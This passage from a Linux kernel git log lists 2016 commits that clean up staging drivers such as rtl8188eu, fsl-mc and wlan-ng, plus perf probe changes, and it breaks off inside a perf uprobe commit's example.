drivers/staging/rtl8188eu/core/rtw_mlme.c | 8 ++++---- drivers/staging/rtl8188eu/core/rtw_mlme_ext.c | 18 +++++++++--------- drivers/staging/rtl8188eu/core/rtw_wlan_util.c | 24 ++++++++++++------------ drivers/staging/rtl8188eu/include/wifi.h | 16 ++++++---------- 6 files changed, 37 insertions(+), 41 deletions(-) commit 16d475cb47f005cbc330c14ba94604af518cd018 Author: Ivan Safonov Date: Wed Aug 24 15:21:43 2016 +0700 staging: r8188eu: remove HT_cap member of HT_caps_element structure This member used only once and can be replaced with address of HT_caps_element. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_wlan_util.c | 3 ++- drivers/staging/rtl8188eu/include/wifi.h | 1 - 2 files changed, 2 insertions(+), 2 deletions(-) commit 7494b27f659552b9ddc2085b2946939aab0e84ef Author: Ivan Safonov Date: Wed Aug 24 15:21:38 2016 +0700 staging: r8188eu: remove rtw_ieee80211_ht_cap structure rtw_ieee80211_ht_cap does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/wifi.h | 16 ---------------- 1 file changed, 16 deletions(-) commit cfecac2e22ddae7437893da84552da2f4236be92 Author: Ivan Safonov Date: Wed Aug 24 15:21:33 2016 +0700 staging: r8188eu: change rtw_ieee80211_ht_cap type of structures members to ieee80211_ht_cap Also cap_info member of ieee80211_ht_cap wrapped by le16_to_cpu function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ap.c | 15 ++++++++++----- drivers/staging/rtl8188eu/include/ieee80211.h | 4 ++-- drivers/staging/rtl8188eu/include/rtw_ht.h | 4 ++-- 3 files changed, 14 insertions(+), 9 deletions(-) commit c7873d8bad59be2886046548e0e0b16d2529dce1 Author: Ivan Safonov Date: Wed Aug 24 15:21:28 2016 +0700 staging: r8188eu: change rtw_ieee80211_ht_cap type of local variables to ieee80211_ht_cap rtw_ieee80211_ht_cap is reimplementation of the ieee80211_ht_cap. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ieee80211.c | 9 ++++---- drivers/staging/rtl8188eu/core/rtw_mlme.c | 31 +++++++++++++------------- drivers/staging/rtl8188eu/core/rtw_wlan_util.c | 7 +++--- 3 files changed, 25 insertions(+), 22 deletions(-) commit 7f98038a39024e90cbbdc807ce4b3d7ef72babf6 Author: Ivan Safonov Date: Wed Aug 24 15:21:24 2016 +0700 staging: r8188eu: remove dead code from rtw_get_cur_max_rate function Values assugned to pht_capie and mcs_rate variables, but variables does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ioctl_set.c | 7 ------- 1 file changed, 7 deletions(-) commit 81a2b8e4bb629054d414cec297068f23813b8e50 Author: Ivan Safonov Date: Wed Aug 24 15:21:18 2016 +0700 staging: r8188eu: replace sizeof(struct rtw_ieee80211_ht_cap) with sizeof(struct ieee80211_ht_cap) Values of this expressions are equal, but ieee80211_ht_cap is library type. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_mlme.c | 5 +++-- drivers/staging/rtl8188eu/core/rtw_mlme_ext.c | 8 +++++--- drivers/staging/rtl8188eu/os_dep/ioctl_linux.c | 6 ++++-- 3 files changed, 12 insertions(+), 7 deletions(-) commit da9090adb7052c3f544beda80a56b4eb46175adf Author: Ivan Safonov Date: Wed Aug 24 15:21:14 2016 +0700 staging: r8188eu: replace rtw_ieee80211_ht_cap with ieee80211_ht_cap type in translate_scan function rtw_ieee80211_ht_cap is reimplementation of the ieee80211_ht_cap. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/os_dep/ioctl_linux.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit 042ca34b9ab19d0a52c3b01862a6c07fcb032e86 Author: Ivan Safonov Date: Wed Aug 24 15:21:10 2016 +0700 staging: r8188eu: replace rtw_ieee80211_ht_cap with ieee80211_ht_cap type in rtw_check_beacon_data function rtw_ieee80211_ht_cap is reimplementation of the ieee80211_ht_cap. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ap.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit be98624d1446dd2ef58d72f1e5c0417346710a27 Author: Ivan Safonov Date: Wed Aug 24 15:21:05 2016 +0700 staging: r8188eu: remove for_each_ie macro for_each_ie does not used in the driver code. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/ieee80211.h | 10 ---------- 1 file changed, 10 deletions(-) commit 1b9e6df5169b36b3242e2e28c39f9bbfc01863e8 Author: Ivan Safonov Date: Wed Aug 24 15:21:01 2016 +0700 staging: r8188eu: remove action_public_str function Driver does not use this function. Also _action_public_str array removed. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ieee80211.c | 26 -------------------------- drivers/staging/rtl8188eu/include/ieee80211.h | 2 -- 2 files changed, 28 deletions(-) commit 86d54a7b782e68f6148b73d97428cfbfcea7d6e1 Author: Ivan Safonov Date: Wed Aug 24 15:20:56 2016 +0700 staging: r8188eu: remove rtw_action_frame_parse function Driver does not use this function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ieee80211.c | 29 -------------------------- drivers/staging/rtl8188eu/include/ieee80211.h | 2 -- 2 files changed, 31 deletions(-) commit c9735cb6ea0f3beddeae15fa139d908a686000b3 Author: Ivan Safonov Date: Wed Aug 24 15:20:52 2016 +0700 staging: r8188eu: remove dump_wps_ie function Driver does not use this function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ieee80211.c | 21 --------------------- drivers/staging/rtl8188eu/include/ieee80211.h | 2 -- 2 files changed, 23 deletions(-) commit 92224ac300f1faf7ed8a705404e6b945bec6fef4 Author: Ivan Safonov Date: Wed Aug 24 15:20:47 2016 +0700 staging: r8188eu: remove dump_ies function Driver does not use this function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ieee80211.c | 16 ---------------- drivers/staging/rtl8188eu/include/ieee80211.h | 1 - 2 files changed, 17 deletions(-) commit ec4eb6e146a9b0bdedd5c904d645836e0cd50915 Author: Ivan Safonov Date: Wed Aug 24 15:20:41 2016 +0700 staging: r8188eu: remove rtw_set_ie_ch_switch function Driver does not use this function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ieee80211.c | 11 ----------- drivers/staging/rtl8188eu/include/ieee80211.h | 2 -- 2 files changed, 13 deletions(-) commit 798d8c2a8c73485adf0d194dabcbd48c52a2c808 Author: Ivan Safonov Date: Wed Aug 24 15:20:29 2016 +0700 staging: r8188eu: remove rtw_set_ie_mesh_ch_switch_parm function Driver does not use this function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ieee80211.c | 13 ------------- drivers/staging/rtl8188eu/include/ieee80211.h | 2 -- 2 files changed, 15 deletions(-) commit b02b573fcf4d27b98f2e867b0f9bdbd415b2e508 Author: Ivan Safonov Date: Wed Aug 24 15:20:22 2016 +0700 staging: r8188eu: remove rtw_set_ie_secondary_ch_offset function Driver does not use this function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ieee80211.c | 5 ----- drivers/staging/rtl8188eu/include/ieee80211.h | 2 -- 2 files changed, 7 deletions(-) commit d5b80f94575737aaa7d8df80f575bc0f09fa2ff3 Author: Ivan Safonov Date: Wed Aug 24 15:20:13 2016 +0700 staging: r8188eu: remove hal_ch_offset_to_secondary_ch_offset function Driver does not use this function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ieee80211.c | 12 ------------ drivers/staging/rtl8188eu/include/ieee80211.h | 1 - 2 files changed, 13 deletions(-) commit d02463e06ee54d7fed848cbada1573e1201c1492 Author: Ivan Safonov Date: Wed Aug 24 15:19:57 2016 +0700 staging: r8188eu: remove issue_action_spct_ch_switch function Driver does not use this function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_mlme_ext.c | 60 ------------------------ drivers/staging/rtl8188eu/include/rtw_mlme_ext.h | 2 - 2 files changed, 62 deletions(-) commit f92dcecacecf0fd1ffb436182089d2bd56baa1d0 Author: Ivan Safonov Date: Wed Aug 24 15:19:47 2016 +0700 staging: r8188eu: remove secondary_ch_offset_to_hal_ch_offset function Driver does not use this function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ieee80211.c | 12 ------------ drivers/staging/rtl8188eu/include/ieee80211.h | 1 - 2 files changed, 13 deletions(-) commit fd0a793a0bec21ba12323e1b05a9bb24bf60e418 Author: Ivan Safonov Date: Wed Aug 24 15:19:39 2016 +0700 staging: r8188eu: remove rtw_ap_inform_ch_switch function Driver does not use this function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ap.c | 34 ------------------------------ drivers/staging/rtl8188eu/include/rtw_ap.h | 1 - 2 files changed, 35 deletions(-) commit d7335dc9ababd8c18a4debc9c83764719d9e499f Author: Ivan Safonov Date: Wed Aug 24 15:19:31 2016 +0700 staging: r8188eu: remove rtw_get_ie_ex function Driver does not use this function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ieee80211.c | 44 -------------------------- drivers/staging/rtl8188eu/include/ieee80211.h | 2 -- 2 files changed, 46 deletions(-) commit f0fde4f867aadea8169fe806cffdb355b196853b Author: Ivan Safonov Date: Wed Aug 24 15:19:21 2016 +0700 staging: r8188eu: remove rtw_ies_remove_ie function Driver does not use this function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_ieee80211.c | 47 -------------------------- drivers/staging/rtl8188eu/include/ieee80211.h | 2 -- 2 files changed, 49 deletions(-) commit a71a6d96a4d663c4e0a28128bba1b2febf0fe10c Author: Wei Yongjun Date: Sun Aug 28 16:19:29 2016 +0000 staging: fsl-mc: convert to use ATTRIBUTE_GROUPS macro Use ATTRIBUTE_GROUPS macro to reduce the number of lines of code. Generated by Coccinelle semantic patch. Signed-off-by: Wei Yongjun Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/fsl-mc-bus.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) commit be1edb857ea48e7b7f5dd1ff278e79d4152def9e Author: Anson Jacob Date: Fri Aug 26 22:59:59 2016 -0400 staging: fsl-mc: dprc-cmd: Fix checkpatch warning Fix checkpatch.pl warning: Block comments use * on subsequent lines Fix Commenting Style Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/dprc-cmd.h | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 695b4adc326cc00808a96b2e8c3628de533a643a Author: Anson Jacob Date: Fri Aug 26 22:59:58 2016 -0400 staging: fsl-mc: dpmng-cmd: Fix checkpatch warning Fix checkpatch.pl warning: Block comments use * on subsequent lines Fix Commenting Style Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/dpmng-cmd.h | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit d4e75132bde743780084690b34da875b4402bd63 Author: Stuart Yoder Date: Tue Aug 23 17:14:23 2016 -0500 staging: fsl-mc: make order of includes consistent There are 3 kinds of headers included in the bus driver components-- misc linux/include files, public bus driver includes, and includes private to the bus driver. Cleanup the order and formatting of includes in the bus driver to be consistent: #include #include ../include/[file].h // public bus driver includes (eventually // destined for: linux/include/fsl) [blank line] #include "[file].h" // private bus driver includes Signed-off-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/dpmcp.c | 1 + drivers/staging/fsl-mc/bus/dpmng.c | 1 + drivers/staging/fsl-mc/bus/dprc-driver.c | 5 +++-- drivers/staging/fsl-mc/bus/dprc.c | 1 + drivers/staging/fsl-mc/bus/fsl-mc-allocator.c | 5 +++-- drivers/staging/fsl-mc/bus/fsl-mc-bus.c | 3 ++- drivers/staging/fsl-mc/bus/fsl-mc-msi.c | 2 +- drivers/staging/fsl-mc/bus/irq-gic-v3-its-fsl-mc-msi.c | 2 +- drivers/staging/fsl-mc/bus/mc-io.c | 2 +- drivers/staging/fsl-mc/bus/mc-sys.c | 6 +++--- 10 files changed, 17 insertions(+), 11 deletions(-) commit 5143ecf6db0a97b5d5028c0e9ac3a430b51ebb13 Author: Stuart Yoder Date: Tue Aug 23 17:14:18 2016 -0500 staging: fsl-mc: explicitly include files where they are needed Instead of relying on mc-sys.h to include misc system headers, have the source files that need them explicitly do it themselves. Signed-off-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/fsl-mc-bus.c | 1 + drivers/staging/fsl-mc/bus/mc-io.c | 2 ++ drivers/staging/fsl-mc/bus/mc-sys.c | 2 ++ drivers/staging/fsl-mc/include/mc-sys.h | 2 -- 4 files changed, 5 insertions(+), 2 deletions(-) commit 7f59f4c71d727bd34dd604f368530cc36f4bfc93 Author: Stuart Yoder Date: Tue Aug 23 17:14:14 2016 -0500 staging: fsl-mc: split mc-io definitions into a separate file An mc-io is a software abstraction of a dpmcp object (an MC portal). Routines to create/initialize/reset this portal abstraction were split between the allocator and mc-sys.c (MC command interface). Move mc-io/portal related definitions into one source file. Signed-off-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/Makefile | 1 + drivers/staging/fsl-mc/bus/fsl-mc-allocator.c | 140 ------------ drivers/staging/fsl-mc/bus/fsl-mc-private.h | 8 + drivers/staging/fsl-mc/bus/mc-io.c | 318 ++++++++++++++++++++++++++ drivers/staging/fsl-mc/bus/mc-sys.c | 147 ------------ drivers/staging/fsl-mc/include/mc-sys.h | 13 -- 6 files changed, 327 insertions(+), 300 deletions(-) commit 693c5a9d432d8f87ae494096189b209f75532d9a Author: Stuart Yoder Date: Tue Aug 23 17:14:08 2016 -0500 staging: fsl-mc: remove unneeded includes Over time we've accumulated some includes that are no longer needed. Remove them. Signed-off-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/fsl-mc-msi.c | 2 -- drivers/staging/fsl-mc/bus/irq-gic-v3-its-fsl-mc-msi.c | 2 -- drivers/staging/fsl-mc/include/mc-bus.h | 1 - drivers/staging/fsl-mc/include/mc.h | 1 - 4 files changed, 6 deletions(-) commit e744e45ab92ede6932b55298e9657f878c73fbb4 Author: Stuart Yoder Date: Tue Aug 23 17:13:59 2016 -0500 staging: fsl-mc: move bus definitions from mc.h to mc-bus.h move public bus-related definitions to the proper mc-bus.h header. Signed-off-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/include/mc-bus.h | 16 ++++++++++++++++ drivers/staging/fsl-mc/include/mc.h | 16 ---------------- 2 files changed, 16 insertions(+), 16 deletions(-) commit c7743b423300abea99fafb7d7d897e558bf160cc Author: Stuart Yoder Date: Tue Aug 23 17:13:51 2016 -0500 staging: fsl-mc: remove unneeded forward declarations Remove unneeded and duplicated forward declarations. Signed-off-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/include/mc-bus.h | 4 ---- drivers/staging/fsl-mc/include/mc.h | 1 - 2 files changed, 5 deletions(-) commit 27365d85cfb6cdf8e584764bfdca747d3087b21d Author: Stuart Yoder Date: Tue Aug 23 17:13:46 2016 -0500 staging: fsl-mc: make fsl_mc_get_root_dprc public fsl_mc_get_root_dprc is needed by other components (e.g. vfio) to find the root dprc Signed-off-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/fsl-mc-bus.c | 5 +++-- drivers/staging/fsl-mc/include/mc.h | 3 +++ 2 files changed, 6 insertions(+), 2 deletions(-) commit e730d86d7462c304f62596f8dd619f2ac9458f6a Author: Stuart Yoder Date: Tue Aug 23 17:13:40 2016 -0500 staging: fsl-mc: move bus private definitions into fsl-mc-bus.c Move definitions that are private to fsl-mc-bus.c out of the public mc-bus.h and mc.h headers. Signed-off-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/fsl-mc-bus.c | 33 +++++++++++++++++++++++++++++++++ drivers/staging/fsl-mc/include/mc-bus.h | 28 ---------------------------- drivers/staging/fsl-mc/include/mc.h | 5 ----- 3 files changed, 33 insertions(+), 33 deletions(-) commit 2b0011d2bf5924f1509903f15bcb3359521c42bb Author: Stuart Yoder Date: Tue Aug 23 17:13:35 2016 -0500 staging: fsl-mc: move dprc-driver private definitions out of mc-bus.h Move definitions that are private to dprc-driver.c out of the public mc-bus.h header. Signed-off-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/dprc-driver.c | 6 ++++++ drivers/staging/fsl-mc/include/mc-bus.h | 6 ------ 2 files changed, 6 insertions(+), 6 deletions(-) commit 243444fb8cc0d066be81aee379f450a111f05dbd Author: Stuart Yoder Date: Tue Aug 23 17:13:30 2016 -0500 staging: fsl-mc: create private include for fsl-mc bus components The mc-bus.h header file is intended to be public for system related drivers that may need to make fsl-mc bus specific calls-- gic its, smmu, vfio. But, currently it contains definitions private/internal to the fsl-mc bus itself. Split those definitions out into a new fsl-mc bus private header. Signed-off-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/dprc-driver.c | 1 + drivers/staging/fsl-mc/bus/fsl-mc-allocator.c | 1 + drivers/staging/fsl-mc/bus/fsl-mc-bus.c | 1 + drivers/staging/fsl-mc/bus/fsl-mc-private.h | 44 +++++++++++++++++++++++++++ drivers/staging/fsl-mc/include/mc-bus.h | 23 -------------- 5 files changed, 47 insertions(+), 23 deletions(-) commit 3640695569016dd9a1734df2fe3692d49cffb7ba Author: Stuart Yoder Date: Tue Aug 23 17:13:24 2016 -0500 staging: fsl-mc: move resource pool init/cleanup into allocator The resource pool init/cleanup functions logically belong in the allocator. Move them to the allocator and rename to reflect the move out of the dprc-driver. Signed-off-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/dprc-driver.c | 55 ++------------------------- drivers/staging/fsl-mc/bus/fsl-mc-allocator.c | 49 ++++++++++++++++++++++++ drivers/staging/fsl-mc/include/mc-bus.h | 4 ++ 3 files changed, 56 insertions(+), 52 deletions(-) commit e267dddd212e62190bcc42441ed189dfa323724c Author: Stuart Yoder Date: Tue Aug 23 17:13:17 2016 -0500 staging: fsl-mc: move allocator private definitions out of mc-bus.h move definitions private to the allocator out of mc-bus.h and into allocator.c Signed-off-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/fsl-mc-allocator.c | 5 +++++ drivers/staging/fsl-mc/include/mc-bus.h | 5 ----- 2 files changed, 5 insertions(+), 5 deletions(-) commit 46d669daa36b85fbe0ca3d5c11fbf5a97b784c84 Author: Stuart Yoder Date: Tue Aug 23 17:13:12 2016 -0500 staging: fsl-mc: improve naming of source files The mc- prefix on the source files names of some internal components of the fsl-mc bus driver makes things less clear that they could be. The string "mc" generally refers to hardware-- the physical DPAA 'management complex'. Names like "mc-allocator.c" have nothing to with the "MC" hardware per se. Improve clarity by using the prefix string "fsl-mc" instead which is what we are calling this bus. Signed-off-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/Makefile | 6 +- drivers/staging/fsl-mc/bus/fsl-mc-allocator.c | 755 ++++++++++++++++++++++ drivers/staging/fsl-mc/bus/fsl-mc-bus.c | 890 ++++++++++++++++++++++++++ drivers/staging/fsl-mc/bus/fsl-mc-msi.c | 287 +++++++++ drivers/staging/fsl-mc/bus/mc-allocator.c | 755 ---------------------- drivers/staging/fsl-mc/bus/mc-bus.c | 890 -------------------------- drivers/staging/fsl-mc/bus/mc-msi.c | 287 --------- 7 files changed, 1935 insertions(+), 1935 deletions(-) commit c37ebf8c3da2b0ae6a2b7942c0d61d04f541ab2d Author: Stuart Yoder Date: Tue Aug 23 17:13:04 2016 -0500 staging: fsl-mc: rename mc-private.h to mc-bus.h The definitions in mc-private.h are not strictly speaking 'private', they are bus-related definitions expected to be referenced by bus driver components as well as system components (gic, smmu, vfio). Rename mc-private.h to mc-bus.h to more accurately reflect expected use. Signed-off-by: Stuart Yoder Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/dprc-driver.c | 2 +- .../staging/fsl-mc/bus/irq-gic-v3-its-fsl-mc-msi.c | 2 +- drivers/staging/fsl-mc/bus/mc-allocator.c | 2 +- drivers/staging/fsl-mc/bus/mc-bus.c | 2 +- drivers/staging/fsl-mc/bus/mc-msi.c | 2 +- drivers/staging/fsl-mc/include/mc-bus.h | 158 +++++++++++++++++++++ drivers/staging/fsl-mc/include/mc-private.h | 158 --------------------- 7 files changed, 163 insertions(+), 163 deletions(-) commit eaf47b713b602e7d0129ed8d18d2818246a17e49 Author: Wei Yongjun Date: Fri Aug 26 14:45:05 2016 +0000 staging: rtl8188eu: fix missing unlock on error in rtw_resume_process() Add the missing unlock before return from function rtw_resume_process() in the error handling case. Signed-off-by: Wei Yongjun Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/os_dep/usb_intf.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 8e02a3fd03d5391a83ba05b12f5f8d1a0e4e31a4 Author: Anson Jacob Date: Thu Aug 25 11:18:42 2016 -0400 staging: emxx_udc: Fix checkpatch warning Fix checkpatch.pl warning Block comments use * on subsequent lines Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/emxx_udc/emxx_udc.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit dda3e26501b153757ad0adbb9f2360612e1edf24 Author: Julia Lawall Date: Wed Aug 31 09:30:43 2016 +0200 staging: slicoss: constify ethtool_ops structures Check for ethtool_ops structures that are only stored in the ethtool_ops field of a net_device structure or passed as the second argument to netdev_set_default_ethtool_ops. These contexts are declared const, so ethtool_ops structures that have these properties can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct ethtool_ops i@p = { ... }; @ok1@ identifier r.i; struct net_device e; position p; @@ e.ethtool_ops = &i@p; @ok2@ identifier r.i; expression e; position p; @@ netdev_set_default_ethtool_ops(e, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct ethtool_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slicoss.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0ca6d8e74489b08aa34108fe00fc1ba1667301a7 Author: Claudiu Beznea Date: Fri Aug 26 20:58:17 2016 +0300 Staging: wlan-ng: replace switch-case statements with macro This patch removes multiple switch-case statements with a new macro. The macro will generate the corresponding bit mask based on the key index received as input. Chances since v1: Corrected patch title Signed-off-by: Claudiu Beznea Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/cfg80211.c | 85 ++++++--------------------------- drivers/staging/wlan-ng/p80211metadef.h | 4 ++ 2 files changed, 19 insertions(+), 70 deletions(-) commit 2f4791255808bd0d258400b4cf230c16ea8bdeae Author: Claudiu Beznea Date: Thu Aug 25 20:03:25 2016 +0300 Staging: wlan-ng: removed duplicate code in p80211req.c This patch removes duplicate code in p80211req_mibset_mibget() by adding p80211req_handle_action() function. Changes since v1: Removed prototype of p80211req_handle_action() from the prototype list and add directly the function definition. Signed-off-by: Claudiu Beznea Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211req.c | 39 ++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 20 deletions(-) commit 37f92cf0a5b82be433b8b24b7105bb9f878f7153 Author: Claudiu Beznea Date: Tue Aug 23 21:26:42 2016 +0300 Staging: wlan-ng: Improved case statements in p80211req_mibset_mibget() This patch improves code from p80211req_mibset_mibget() function by taking into account that every DIDmib_dot11smt_dot11WEPDefaultKeysTable_dot11WEPDefaultKeyX with X in {0, 1, 2, 3} is a bit mask where the (P80211DID_MASK_ITEM << P80211DID_LSB_ITEM) mask aka 0x0x0003f000 mask keeps bits representing the DID item number. To get this item number use P80211DID_ITEM(). Signed-off-by: Claudiu Beznea Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211req.c | 28 +++++++++------------------- 1 file changed, 9 insertions(+), 19 deletions(-) commit cb14a0b4a13ee743bbe40299ce46790ee9ef7f1d Author: Colin Ian King Date: Mon Aug 22 19:40:05 2016 +0100 Staging: comedi: fix spelling mistake "Firmare" -> "Firmware" Trivial fix to spelling mistake in dev_dbg message. Signed-off-by: Colin Ian King Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/jr3_pci.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f46e041a20dd9c3b4fa6f07e3246424aec7f1752 Author: Anson Jacob Date: Mon Aug 22 17:12:35 2016 -0400 staging: vt6655: rxtx.c: Fix checkpatch warning Fix checkpatch.pl warning for trailing */ on a separate line Remove '+' postfix and '-' prefix from the start and end of block comments Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6655/rxtx.c | 41 ++++++++++++++++++++++++----------------- 1 file changed, 24 insertions(+), 17 deletions(-) commit 371fbcf6736a751256bf1cc6110fcba610a7c4c4 Author: Anson Jacob Date: Mon Aug 22 17:12:15 2016 -0400 staging: vt6655: rf.c: Fix checkpatch warning Fix checkpatch.pl warning for trailing */ on a separate line Remove '+' postfix and '-' prefix from the start and end of block comments Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6655/rf.c | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) commit 228fc25904587826f99e6fb2275b3553cf4f74ed Author: MingChia Chung Date: Sun Aug 28 09:04:36 2016 +0800 staging: rts5208: Add two blank lines in comments. This patch fixes a minor checkpatch warnings: "WARNING: Block comments use a trailing */ on a separate line" Signed-off-by: Ming-Chia Chung Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx.c | 42 ++++++++++++++++++++++++++++-------------- 1 file changed, 28 insertions(+), 14 deletions(-) commit db0c12744f8d7ab3d5cbeb80c6705bc8134d5f53 Author: Matthias Beyer Date: Tue Aug 23 21:44:17 2016 +0200 drivers: staging: rtl8723au: hal: Remove pointless test This patch removes the pointless `else if` test. Signed-off-by: Matthias Beyer Reported-by: David Binderman Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8723au/hal/rtl8723a_bt-coexist.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5c2ba8b85e350678b96db57cc8972deb9e47c497 Author: Binoy Jayan Date: Mon Aug 22 10:09:42 2016 +0530 rtl8712: pwrctrl_priv: Replace semaphore lock with mutex The semaphore 'lock' in 'pwrctrl_priv' is used as a simple mutex, so it should be written as one. Semaphores are going away in the future. _enter_pwrlock was using down_interruptible(), so the lock could be broken by sending a signal. This could be a bug, because nothing checks the return code here. Hence, using mutex_lock instead of the interruptible version. Removing the now unused _enter_pwrlock and _down_sema. Signed-off-by: Binoy Jayan Reviewed-by: Arnd Bergmann Tested-by: Larry Finger Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/osdep_service.h | 7 ------- drivers/staging/rtl8712/rtl8712_cmd.c | 10 +++++----- drivers/staging/rtl8712/rtl871x_pwrctrl.c | 22 +++++++++++----------- drivers/staging/rtl8712/rtl871x_pwrctrl.h | 7 +------ 4 files changed, 17 insertions(+), 29 deletions(-) commit 6243b9dc4c991fe8bdc53a0e029908aef3ddb101 Author: Ravi Bangoria Date: Tue Aug 30 14:09:37 2016 +0530 perf probe: Move dwarf specific functions to dwarf-aux.c Move generic dwarf related functions from util/probe-finder.c to util/dwarf-aux.c. Functions name and their prototype are also changed accordingly. No functionality changes. Suggested-and-Acked-by: Masami Hiramatsu Signed-off-by: Ravi Bangoria Cc: Alexander Shishkin Cc: Hemant Kumar Cc: Naveen N. Rao Cc: Peter Zijlstra Cc: Wang Nan Link: http://lkml.kernel.org/r/1472546377-25612-1-git-send-email-ravi.bangoria@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/dwarf-aux.c | 179 +++++++++++++++++++++++++++++++++++++++++ tools/perf/util/dwarf-aux.h | 8 ++ tools/perf/util/probe-finder.c | 136 +------------------------------ 3 files changed, 189 insertions(+), 134 deletions(-) commit e47392bf9c0613a058cd20ee89d8ce9d957d4b24 Author: Ravi Bangoria Date: Wed Aug 3 14:28:45 2016 +0530 perf uprobe: Skip prologue if program compiled without optimization The function prologue prepares stack and registers before executing function logic. When target program is compiled without optimization, function parameter information is only valid after the prologue. When we probe entrypc of the function, and try to record a function parameter, it contains a garbage value. For example: $ vim test.c #include void foo(int i) { printf("i: %d\n", i); } int main() { foo(42); return 0; } $ gcc -g test.c -o test $ objdump -dl test | less 